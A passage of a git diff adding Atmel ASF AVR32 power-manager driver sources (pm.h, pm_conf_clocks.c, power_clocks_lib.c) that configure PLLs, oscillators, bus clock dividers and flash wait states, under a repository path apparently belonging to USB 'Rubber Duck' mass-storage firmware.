+ */ +extern unsigned long pm_bod_get_irq_enable_bit(volatile avr32_pm_t *pm); + + +/*! \brief Gets the triggering threshold of the Brown-Out Detector. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * + * \return Triggering threshold of the BOD. See the electrical characteristics + * in the part datasheet for actual voltage levels. + */ +extern unsigned long pm_bod_get_level(volatile avr32_pm_t *pm); + + +/*! + * \brief Read the content of the PM GPLP registers + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param gplp GPLP register index (0,1,... depending on the number of GPLP registers for a given part) + * + * \return The content of the chosen GPLP register. + */ +extern unsigned long pm_read_gplp(volatile avr32_pm_t *pm, unsigned long gplp); + + +/*! + * \brief Write into the PM GPLP registers + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param gplp GPLP register index (0,1,... depending on the number of GPLP registers for a given part) + * \param value Value to write + */ +extern void pm_write_gplp(volatile avr32_pm_t *pm, unsigned long gplp, unsigned long value); + + +/*! \brief Enable the clock of a module. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param module The module to clock (use one of the defines in the part-specific + * header file under "toolchain folder"/avr32/inc(lude)/avr32/; depending on the + * clock domain, look for the sections "CPU clocks", "HSB clocks", "PBx clocks") + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +extern long pm_enable_module(volatile avr32_pm_t *pm, unsigned long module); + +/*! \brief Disable the clock of a module. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param module The module to shut down (use one of the defines in the part-specific + * header file under "toolchain folder"/avr32/inc(lude)/avr32/; depending on the + * clock domain, look for the sections "CPU clocks", "HSB clocks", "PBx clocks") + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +extern long pm_disable_module(volatile avr32_pm_t *pm, unsigned long module); + + + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks + * according to the user wishes. + * + * This function needs some parameters stored in a pm_freq_param_t structure: + * - cpu_f and pba_f are the wanted frequencies, + * - osc0_f is the oscillator 0 on-board frequency (e.g. FOSC0), + * - osc0_startup is the oscillator 0 startup time (e.g. OSC0_STARTUP). + * + * The function will then configure the clocks using the following rules: + * - It first try to find a valid PLL frequency (the highest possible value to avoid jitter) in order + * to satisfy the CPU frequency, + * - It optimizes the configuration depending the various divide stages, + * - Then, the PBA frequency is configured from the CPU freq. + * - Note that HSB and PBB are configured with the same frequency as CPU. + * - Note also that the number of wait states of the flash read accesses is automatically set-up depending + * the CPU frequency. As a consequence, the application needs the FLASHC driver to compile. + * + * The CPU, HSB and PBA frequencies programmed after configuration are stored back into cpu_f and pba_f. + * + * \param param pointer on the configuration structure. + * + * \retval PM_FREQ_STATUS_OK Mode successfully initialized. + * \retval PM_FREQ_STATUS_FAIL The configuration can not be done. + */ +extern int pm_configure_clocks(pm_freq_param_t *param); + + +/*! \brief Automatically configure the USB clock. + * + * USB clock is configured to 48MHz, using the PLL1 from the Oscillator0, assuming + * a 12 MHz crystal is connected to it. + */ +extern void pm_configure_usb_clock(void); + +/** + * \} + */ + +#endif // _PM_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/pm/pm_conf_clocks.c b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/pm/pm_conf_clocks.c new file mode 100755 index 0000000..f9d8a60 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/pm/pm_conf_clocks.c @@ -0,0 +1,262 @@ +/***************************************************************************** + * + * \file + * + * \brief Power Manager clocks configuration helper. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + *****************************************************************************/ + + +#include +#include "compiler.h" +#include "pm.h" + +extern void flashc_set_wait_state(unsigned int wait_state); +#if (defined AVR32_FLASHC_210_H_INCLUDED) +extern void flashc_issue_command(unsigned int command, int page_number); +#endif + + +#define PM_MAX_MUL ((1 << AVR32_PM_PLL0_PLLMUL_SIZE) - 1) + + +int pm_configure_clocks(pm_freq_param_t *param) +{ + // Supported frequencies: + // Fosc0 mul div PLL div2_en cpu_f pba_f Comment + // 12 15 1 192 1 12 12 + // 12 9 3 40 1 20 20 PLL out of spec + // 12 15 1 192 1 24 12 + // 12 9 1 120 1 30 15 + // 12 9 3 40 0 40 20 PLL out of spec + // 12 15 1 192 1 48 12 + // 12 15 1 192 1 48 24 + // 12 8 1 108 1 54 27 + // 12 9 1 120 1 60 15 + // 12 9 1 120 1 60 30 + // 12 10 1 132 1 66 16.5 + // + unsigned long in_cpu_f = param->cpu_f; + unsigned long in_osc0_f = param->osc0_f; + unsigned long mul, div, div2_en = 0, div2_cpu = 0, div2_pba = 0; + unsigned long pll_freq, rest; + bool b_div2_pba, b_div2_cpu; + + // Switch to external Oscillator 0 + pm_switch_to_osc0(&AVR32_PM, in_osc0_f, param->osc0_startup); + + // Start with CPU freq config + if (in_cpu_f == in_osc0_f) + { + param->cpu_f = in_osc0_f; + param->pba_f = in_osc0_f; + return PM_FREQ_STATUS_OK; + } + else if (in_cpu_f < in_osc0_f) + { + // TBD + } + + rest = in_cpu_f % in_osc0_f; + + for (div = 1; div < 32; div++) + { + if ((div * rest) % in_osc0_f == 0) + break; + } + if (div == 32) + return PM_FREQ_STATUS_FAIL; + + mul = (in_cpu_f * div) / in_osc0_f; + + if (mul > PM_MAX_MUL) + return PM_FREQ_STATUS_FAIL; + + // export 2power from PLL div to div2_cpu + while (!(div % 2)) + { + div /= 2; + div2_cpu++; + } + + // Here we know the mul and div parameter of the PLL config. + // . Check out if the PLL has a valid in_cpu_f. + // . Try to have for the PLL frequency (VCO output) the highest possible value + // to reduce jitter. + while (in_osc0_f * 2 * mul / div < AVR32_PM_PLL_VCO_RANGE0_MAX_FREQ) + { + if (2 * mul > PM_MAX_MUL) + break; + mul *= 2; + div2_cpu++; + } + + if (div2_cpu != 0) + { + div2_cpu--; + div2_en = 1; + } + + pll_freq = in_osc0_f * mul / (div * (1 << div2_en)); + + // Update real CPU Frequency + param->cpu_f = pll_freq / (1 << div2_cpu); + mul--; + + pm_pll_setup(&AVR32_PM + , 0 // pll + , mul // mul + , div // div + , 0 // osc + , 16 // lockcount + ); + + pm_pll_set_option(&AVR32_PM + , 0 // pll + // PLL clock is lower than 160MHz: need to set pllopt. + , (pll_freq < AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ) ? 1 : 0 // pll_freq + , div2_en // pll_div2 + , 0 // pll_wbwdisable + ); + + rest = pll_freq; + while (rest > AVR32_PM_PBA_MAX_FREQ || + rest != param->pba_f) + { + div2_pba++; + rest = pll_freq / (1 << div2_pba); + if (rest < param->pba_f) + break; + } + + // Update real PBA Frequency + param->pba_f = pll_freq / (1 << div2_pba); + + // Enable PLL0 + pm_pll_enable(&AVR32_PM, 0); + + // Wait for PLL0 locked + pm_wait_for_pll0_locked(&AVR32_PM); + + if (div2_cpu) + { + b_div2_cpu = true; + div2_cpu--; + } + else + b_div2_cpu = false; + + if (div2_pba) + { + b_div2_pba = true; + div2_pba--; + } + else + b_div2_pba = false; + + pm_cksel(&AVR32_PM + , b_div2_pba, div2_pba // PBA + , b_div2_cpu, div2_cpu // PBB + , b_div2_cpu, div2_cpu // HSB + ); + + if (param->cpu_f > AVR32_FLASHC_FWS_0_MAX_FREQ) + { + flashc_set_wait_state(1); +#if (defined AVR32_FLASHC_210_H_INCLUDED) + if (param->cpu_f > AVR32_FLASHC_HSEN_FWS_1_MAX_FREQ) + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSEN, -1); + else + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSDIS, -1); +#endif + } + else + { + flashc_set_wait_state(0); +#if (defined AVR32_FLASHC_210_H_INCLUDED) + if (param->cpu_f > AVR32_FLASHC_HSEN_FWS_0_MAX_FREQ) + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSEN, -1); + else + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSDIS, -1); +#endif + } + + pm_switch_to_clock(&AVR32_PM, AVR32_PM_MCCTRL_MCSEL_PLL0); + + return PM_FREQ_STATUS_OK; +} + + +void pm_configure_usb_clock(void) +{ +#if UC3A3 + + // Setup USB GCLK. + pm_gc_setup(&AVR32_PM, AVR32_PM_GCLK_USBB, // gc + 0, // osc_or_pll: use Osc (if 0) or PLL (if 1) + 0, // pll_osc: select Osc0/PLL0 or Osc1/PLL1 + 0, // diven + 0); // div + + // Enable USB GCLK. + pm_gc_enable(&AVR32_PM, AVR32_PM_GCLK_USBB); +#else + // Use 12MHz from OSC0 and generate 96 MHz + pm_pll_setup(&AVR32_PM, 1, // pll. + 7, // mul. + 1, // div. + 0, // osc. + 16); // lockcount. + + pm_pll_set_option(&AVR32_PM, 1, // pll. + 1, // pll_freq: choose the range 80-180MHz. + 1, // pll_div2. + 0); // pll_wbwdisable. + + // start PLL1 and wait forl lock + pm_pll_enable(&AVR32_PM, 1); + + // Wait for PLL1 locked. + pm_wait_for_pll1_locked(&AVR32_PM); + + pm_gc_setup(&AVR32_PM, AVR32_PM_GCLK_USBB, // gc. + 1, // osc_or_pll: use Osc (if 0) or PLL (if 1). + 1, // pll_osc: select Osc0/PLL0 or Osc1/PLL1. + 0, // diven. + 0); // div. + pm_gc_enable(&AVR32_PM, AVR32_PM_GCLK_USBB); +#endif +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/pm/power_clocks_lib.c b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/pm/power_clocks_lib.c new file mode 100755 index 0000000..753af85 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/pm/power_clocks_lib.c @@ -0,0 +1,745 @@ +/***************************************************************************** + * + * \file + * + * \brief High-level library abstracting features such as oscillators/pll/dfll + * configuration, clock configuration, System-sensible parameters + * configuration, buses clocks configuration, sleep mode, reset. + * + * Copyright (c) 2009 - 2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + *****************************************************************************/ + +#include "power_clocks_lib.h" + + +//! Device-specific data +#if UC3L +static long int pcl_configure_clocks_uc3l(pcl_freq_param_t *param); // FORWARD declaration +#endif + +#if UC3C +static long int pcl_configure_clocks_uc3c(pcl_freq_param_t *param); // FORWARD declaration +#endif + +#if UC3D +static long int pcl_configure_clocks_uc3d(pcl_freq_param_t *param); // FORWARD declaration +#endif + +long int pcl_configure_clocks(pcl_freq_param_t *param) +{ +#ifndef AVR32_PM_VERSION_RESETVALUE + // Implementation for UC3A, UC3A3, UC3B parts. + return(pm_configure_clocks(param)); +#else + #if (defined AVR32_PM_410_H_INCLUDED ) || (defined AVR32_PM_412_H_INCLUDED ) + #if UC3D + // Implementation for UC3D parts. + return(pcl_configure_clocks_uc3d(param)); + #else + // Implementation for UC3C parts. + return(pcl_configure_clocks_uc3c(param)); + #endif + #else + // Implementation for UC3L parts. + return(pcl_configure_clocks_uc3l(param)); + #endif +#endif +} + + +//! Device-specific implementation +#if UC3L +// FORWARD declaration +static long int pcl_configure_synchronous_clocks( pm_clk_src_t main_clk_src, + unsigned long main_clock_freq_hz, + pcl_freq_param_t *param); + +long int pcl_configure_clocks_rcsys(pcl_freq_param_t *param) +{ + // Supported main clock sources: PCL_MC_RCSYS + + // Supported synchronous clocks frequencies if RCSYS is the main clock source: + // 115200Hz, 57600Hz, 28800Hz, 14400Hz, 7200Hz, 3600Hz, 1800Hz, 900Hz, 450Hz. + + // NOTE: by default, this implementation doesn't perform thorough checks on the + // input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that fCPU >= fPBx + if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f)) + return(-1); +#endif + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that the target frequencies are reachable. + if((param->cpu_f > SCIF_SLOWCLOCK_FREQ_HZ) || (param->pba_f > SCIF_SLOWCLOCK_FREQ_HZ) + || (param->pbb_f > SCIF_SLOWCLOCK_FREQ_HZ)) + return(-1); +#endif + + return(pcl_configure_synchronous_clocks(PM_CLK_SRC_SLOW, SCIF_SLOWCLOCK_FREQ_HZ, param)); +} + + +long int pcl_configure_clocks_rc120m(pcl_freq_param_t *param) +{ + // Supported main clock sources: PCL_MC_RC120M + + // Supported synchronous clocks frequencies if RC120M is the main clock source: + // 30MHz, 15MHz, 7.5MHz, 3.75MHz, 1.875MHz, 937.5kHz, 468.75kHz. + + // NOTE: by default, this implementation doesn't perform thorough checks on the + // input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that fCPU >= fPBx + if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f)) + return(-1); +#endif + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that the target frequencies are reachable. + if((param->cpu_f > SCIF_RC120M_FREQ_HZ) || (param->pba_f > SCIF_RC120M_FREQ_HZ) + || (param->pbb_f > SCIF_RC120M_FREQ_HZ)) + return(-1); +#endif + + // Start the 120MHz internal RCosc (RC120M) clock + scif_start_rc120M(); + + return(pcl_configure_synchronous_clocks(PM_CLK_SRC_RC120M, SCIF_RC120M_FREQ_HZ, param)); +} + + +long int pcl_configure_clocks_osc0(pcl_freq_param_t *param) +{ + // Supported main clock sources: PCL_MC_OSC0 + + // Supported synchronous clocks frequencies if OSC0 is the main clock source: + // (these obviously depend on the OSC0 frequency; we'll take 16MHz as an example) + // 16MHz, 8MHz, 4MHz, 2MHz, 1MHz, 500kHz, 250kHz, 125kHz, 62.5kHz. + + // NOTE: by default, this implementation doesn't perform thorough checks on the + // input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + + unsigned long main_clock_freq; + + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that fCPU >= fPBx + if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f)) + return(-1); +#endif + + main_clock_freq = param->osc0_f; +#ifdef AVR32SFW_INPUT_CHECK + // Verify that the target frequencies are reachable. + if((param->cpu_f > main_clock_freq) || (param->pba_f > main_clock_freq) + || (param->pbb_f > main_clock_freq)) + return(-1); +#endif + // Configure OSC0 in crystal mode, external crystal with a fcrystal Hz frequency. + scif_configure_osc_crystalmode(SCIF_OSC0, main_clock_freq); + // Enable the OSC0 + scif_enable_osc(SCIF_OSC0, param->osc0_startup, true); + + return(pcl_configure_synchronous_clocks(PM_CLK_SRC_OSC0, main_clock_freq, param)); +} + + +long int pcl_configure_clocks_dfll0(pcl_freq_param_t *param) +{ + // Supported main clock sources: PCL_MC_DFLL + + // Supported synchronous clocks frequencies if DFLL is the main clock source: + // (these obviously depend on the DFLL target frequency; we'll take 100MHz as an example) + // 50MHz, 25MHz, 12.5MHz, 6.25MHz, 3.125MHz, 1562.5kHz, 781.25kHz, 390.625kHz. + + // NOTE: by default, this implementation doesn't perform thorough checks on the + // input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + + unsigned long main_clock_freq; + scif_gclk_opt_t *pgc_dfllif_ref_opt; + + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that fCPU >= fPBx + if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f)) + return(-1); +#endif + + main_clock_freq = param->dfll_f; +#ifdef AVR32SFW_INPUT_CHECK + // Verify that the target DFLL output frequency is in the correct range. + if((main_clock_freq > SCIF_DFLL_MAXFREQ_HZ) || (main_clock_freq < SCIF_DFLL_MINFREQ_HZ)) + return(-1); + // Verify that the target frequencies are reachable. + if((param->cpu_f > main_clock_freq) || (param->pba_f > main_clock_freq) + || (param->pbb_f > main_clock_freq)) + return(-1); +#endif + pgc_dfllif_ref_opt = (scif_gclk_opt_t *)param->pextra_params; + // Implementation note: this implementation configures the DFLL in closed-loop + // mode (because it gives the best accuracy) which enables the generic clock CLK_DFLLIF_REF + // as a reference (RCSYS being used as the generic clock source, undivided). + scif_dfll0_closedloop_configure_and_start(pgc_dfllif_ref_opt, main_clock_freq, true); + + return(pcl_configure_synchronous_clocks(PM_CLK_SRC_DFLL0, main_clock_freq, param)); +} + + +static long int pcl_configure_clocks_uc3l(pcl_freq_param_t *param) +{ + // Supported main clock sources: PCL_MC_RCSYS, PCL_MC_OSC0, PCL_MC_DFLL0, PCL_MC_RC120M + + // Supported synchronous clocks frequencies if RCSYS is the main clock source: + // 115200Hz, 57600Hz, 28800Hz, 14400Hz, 7200Hz, 3600Hz, 1800Hz, 900Hz, 450Hz. + + // Supported synchronous clocks frequencies if RC120M is the main clock source: + // 30MHz, 15MHz, 7.5MHz, 3.75MHz, 1.875MHz, 937.5kHz, 468.75kHz. + + // Supported synchronous clocks frequencies if OSC0 is the main clock source: + // (these obviously depend on the OSC0 frequency; we'll take 16MHz as an example) + // 16MHz, 8MHz, 4MHz, 2MHz, 1MHz, 500kHz, 250kHz, 125kHz, 62.5kHz. + + // Supported synchronous clocks frequencies if DFLL is the main clock source: + // (these obviously depend on the DFLL target frequency; we'll take 100MHz as an example) + // 50MHz, 25MHz, 12.5MHz, 6.25MHz, 3.125MHz, 1562.5kHz, 781.25kHz, 390.625kHz. + + // NOTE: by default, this implementation doesn't perform thorough checks on the + // input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that fCPU >= fPBx + if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f)) + return(-1); +#endif + + if(PCL_MC_RCSYS == param->main_clk_src) + { + return(pcl_configure_clocks_rcsys(param)); + } + else if(PCL_MC_RC120M == param->main_clk_src) + { + return(pcl_configure_clocks_rc120m(param)); + } + else if(PCL_MC_OSC0 == param->main_clk_src) + { + return(pcl_configure_clocks_osc0(param)); + } + else // PCL_MC_DFLL0 == param->main_clk_src + { + return(pcl_configure_clocks_dfll0(param)); + } +} + +static long int pcl_configure_synchronous_clocks(pm_clk_src_t main_clk_src, unsigned long main_clock_freq_hz, pcl_freq_param_t *param) +{ + //# + //# Set the Synchronous clock division ratio for each clock domain + //# + pm_set_all_cksel(main_clock_freq_hz, param->cpu_f, param->pba_f, param->pbb_f); + + //# + //# Set the Flash wait state and the speed read mode (depending on the target CPU frequency). + //# +#if UC3L + flashcdw_set_flash_waitstate_and_readmode(param->cpu_f); +#elif UC3C + flashc_set_flash_waitstate_and_readmode(param->cpu_f); +#endif + + + //# + //# Switch the main clock source to the selected clock. + //# + pm_set_mclk_source(main_clk_src); + + return PASS; +} + +#endif // UC3L device-specific implementation + +//! UC3C Device-specific implementation +#if UC3C +static long int pcl_configure_clocks_uc3c(pcl_freq_param_t *param) +{ + #define PM_MAX_MUL ((1 << AVR32_SCIF_PLLMUL_SIZE) - 1) + #define AVR32_PM_PBA_MAX_FREQ 66000000 + #define AVR32_PM_PLL_VCO_RANGE0_MAX_FREQ 240000000 + #define AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ 160000000 + + // Implementation for UC3C parts. + // Supported frequencies: + // Fosc0 mul div PLL div2_en cpu_f pba_f Comment + // 12 15 1 192 1 12 12 + // 12 9 3 40 1 20 20 PLL out of spec + // 12 15 1 192 1 24 12 + // 12 9 1 120 1 30 15 + // 12 9 3 40 0 40 20 PLL out of spec + // 12 15 1 192 1 48 12 + // 12 15 1 192 1 48 24 + // 12 8 1 108 1 54 27 + // 12 9 1 120 1 60 15 + // 12 9 1 120 1 60 30 + // 12 10 1 132 1 66 16.5 + // + unsigned long in_cpu_f = param->cpu_f; + unsigned long in_osc0_f = param->osc0_f; + unsigned long mul, div, div2_en = 0, div2_cpu = 0, div2_pba = 0; + unsigned long pll_freq, rest; + bool b_div2_pba, b_div2_cpu; + + // Configure OSC0 in crystal mode, external crystal with a FOSC0 Hz frequency. + scif_configure_osc_crystalmode(SCIF_OSC0, in_osc0_f); + // Enable the OSC0 + scif_enable_osc(SCIF_OSC0, param->osc0_startup, true); + // Set the main clock source as being OSC0. + pm_set_mclk_source(PM_CLK_SRC_OSC0); + + // Start with CPU freq config + if (in_cpu_f == in_osc0_f) + { + param->cpu_f = in_osc0_f; + param->pba_f = in_osc0_f; + return PASS; + } + else if (in_cpu_f < in_osc0_f) + { + // TBD + } + + rest = in_cpu_f % in_osc0_f; + + for (div = 1; div < 32; div++) + { + if ((div * rest) % in_osc0_f == 0) + break; + } + if (div == 32) + return FAIL; + + mul = (in_cpu_f * div) / in_osc0_f; + + if (mul > PM_MAX_MUL) + return FAIL; + + // export 2power from PLL div to div2_cpu + while (!(div % 2)) + { + div /= 2; + div2_cpu++; + } + + // Here we know the mul and div parameter of the PLL config. + // . Check out if the PLL has a valid in_cpu_f. + // . Try to have for the PLL frequency (VCO output) the highest possible value + // to reduce jitter. + while (in_osc0_f * 2 * mul / div < AVR32_PM_PLL_VCO_RANGE0_MAX_FREQ) + { + if (2 * mul > PM_MAX_MUL) + break; + mul *= 2; + div2_cpu++; + } + + if (div2_cpu != 0) + { + div2_cpu--; + div2_en = 1; + } + + pll_freq = in_osc0_f * mul / (div * (1 << div2_en)); + + // Update real CPU Frequency + param->cpu_f = pll_freq / (1 << div2_cpu); + mul--; + + scif_pll_opt_t opt; + + opt.osc = SCIF_OSC0, // Sel Osc0 or Osc1 + opt.lockcount = 16, // lockcount in main clock for the PLL wait lock + opt.div = div, // DIV=1 in the formula + opt.mul = mul, // MUL=7 in the formula + opt.pll_div2 = div2_en, // pll_div2 Divide the PLL output frequency by 2 (this settings does not change the FVCO value) + opt.pll_wbwdisable = 0, //pll_wbwdisable 1 Disable the Wide-Bandith Mode (Wide-Bandwith mode allow a faster startup time and out-of-lock time). 0 to enable the Wide-Bandith Mode. + opt.pll_freq = (pll_freq < AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ) ? 1 : 0, // Set to 1 for VCO frequency range 80-180MHz, set to 0 for VCO frequency range 160-240Mhz. + + + scif_pll_setup(SCIF_PLL0, opt); // lockcount in main clock for the PLL wait lock + + /* Enable PLL0 */ + scif_pll_enable(SCIF_PLL0); + + /* Wait for PLL0 locked */ + scif_wait_for_pll_locked(SCIF_PLL0) ; + + rest = pll_freq; + while (rest > AVR32_PM_PBA_MAX_FREQ || + rest != param->pba_f) + { + div2_pba++; + rest = pll_freq / (1 << div2_pba); + if (rest < param->pba_f) + break; + } + + // Update real PBA Frequency + param->pba_f = pll_freq / (1 << div2_pba); + + + if (div2_cpu) + { + b_div2_cpu = true; + div2_cpu--; + } + else + b_div2_cpu = false; + + if (div2_pba) + { + b_div2_pba = true; + div2_pba--; + } + else + b_div2_pba = false; + + if (b_div2_cpu == true ) + { + pm_set_clk_domain_div(PM_CLK_DOMAIN_0, (pm_divratio_t) div2_cpu); // CPU + pm_set_clk_domain_div(PM_CLK_DOMAIN_1, (pm_divratio_t) div2_cpu); // HSB + pm_set_clk_domain_div(PM_CLK_DOMAIN_3, (pm_divratio_t) div2_cpu); // PBB + } + if (b_div2_pba == true ) + { + pm_set_clk_domain_div(PM_CLK_DOMAIN_2, (pm_divratio_t) div2_pba); // PBA + pm_set_clk_domain_div(PM_CLK_DOMAIN_4, (pm_divratio_t) div2_pba); // PBC + } + + // Set Flashc Wait State + flashc_set_flash_waitstate_and_readmode(param->cpu_f); + + // Set the main clock source as being PLL0. + pm_set_mclk_source(PM_CLK_SRC_PLL0); + + return PASS; +} +#endif // UC3C device-specific implementation + +#if UC3D +static long int pcl_configure_clocks_uc3d(pcl_freq_param_t *param) +{ + #define PM_MAX_MUL ((1 << AVR32_SCIF_PLLMUL_SIZE) - 1) + #define AVR32_PM_PBA_MAX_FREQ 48000000 + #define AVR32_PM_PLL_VCO_RANGE0_MAX_FREQ 240000000 + #define AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ 160000000 + + // Implementation for UC3C parts. + // Supported frequencies: + // Fosc0 mul div PLL div2_en cpu_f pba_f Comment + // 12 15 1 192 1 12 12 + // 12 9 3 40 1 20 20 PLL out of spec + // 12 15 1 192 1 24 12 + // 12 9 1 120 1 30 15 + // 12 9 3 40 0 40 20 PLL out of spec + // 12 15 1 192 1 48 12 + // 12 15 1 192 1 48 24 + // 12 8 1 108 1 54 27 + // 12 9 1 120 1 60 15 + // 12 9 1 120 1 60 30 + // 12 10 1 132 1 66 16.5 + // + unsigned long in_cpu_f = param->cpu_f; + unsigned long in_osc0_f = param->osc0_f; + unsigned long mul, div, div2_en = 0, div2_cpu = 0, div2_pba = 0; + unsigned long pll_freq, rest; + Bool b_div2_pba, b_div2_cpu; + + // Configure OSC0 in crystal mode, external crystal with a FOSC0 Hz frequency. + scif_configure_osc_crystalmode(SCIF_OSC0, in_osc0_f); + // Enable the OSC0 + scif_enable_osc(SCIF_OSC0, param->osc0_startup, true); + // Set the main clock source as being OSC0. + pm_set_mclk_source(PM_CLK_SRC_OSC0); + + // Start with CPU freq config + if (in_cpu_f == in_osc0_f) + { + param->cpu_f = in_osc0_f; + param->pba_f = in_osc0_f; + return PASS; + } + else if (in_cpu_f < in_osc0_f) + { + // TBD + } + + rest = in_cpu_f % in_osc0_f; + + for (div = 1; div < 32; div++) + { + if ((div * rest) % in_osc0_f == 0) + break; + } + if (div == 32) + return FAIL; + + mul = (in_cpu_f * div) / in_osc0_f; + + if (mul > PM_MAX_MUL) + return FAIL; + + // export 2power from PLL div to div2_cpu + while (!(div % 2)) + { + div /= 2; + div2_cpu++; + } + + // Here we know the mul and div parameter of the PLL config. + // . Check out if the PLL has a valid in_cpu_f. + // . Try to have for the PLL frequency (VCO output) the highest possible value + // to reduce jitter. + while (in_osc0_f * 2 * mul / div < AVR32_PM_PLL_VCO_RANGE0_MAX_FREQ) + { + if (2 * mul > PM_MAX_MUL) + break; + mul *= 2; + div2_cpu++; + } + + if (div2_cpu != 0) + { + div2_cpu--; + div2_en = 1; + } + + pll_freq = in_osc0_f * mul / (div * (1 << div2_en)); + + // Update real CPU Frequency + param->cpu_f = pll_freq / (1 << div2_cpu); + mul--; + + scif_pll_opt_t opt; + + opt.osc = SCIF_OSC0, // Sel Osc0 or Osc1 + opt.lockcount = 16, // lockcount in main clock for the PLL wait lock + opt.div = div, // DIV=1 in the formula + opt.mul = mul, // MUL=7 in the formula + opt.pll_div2 = div2_en, // pll_div2 Divide the PLL output frequency by 2 (this settings does not change the FVCO value) + opt.pll_wbwdisable = 0, //pll_wbwdisable 1 Disable the Wide-Bandith Mode (Wide-Bandwith mode allow a faster startup time and out-of-lock time). 0 to enable the Wide-Bandith Mode. + opt.pll_freq = (pll_freq < AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ) ? 1 : 0, // Set to 1 for VCO 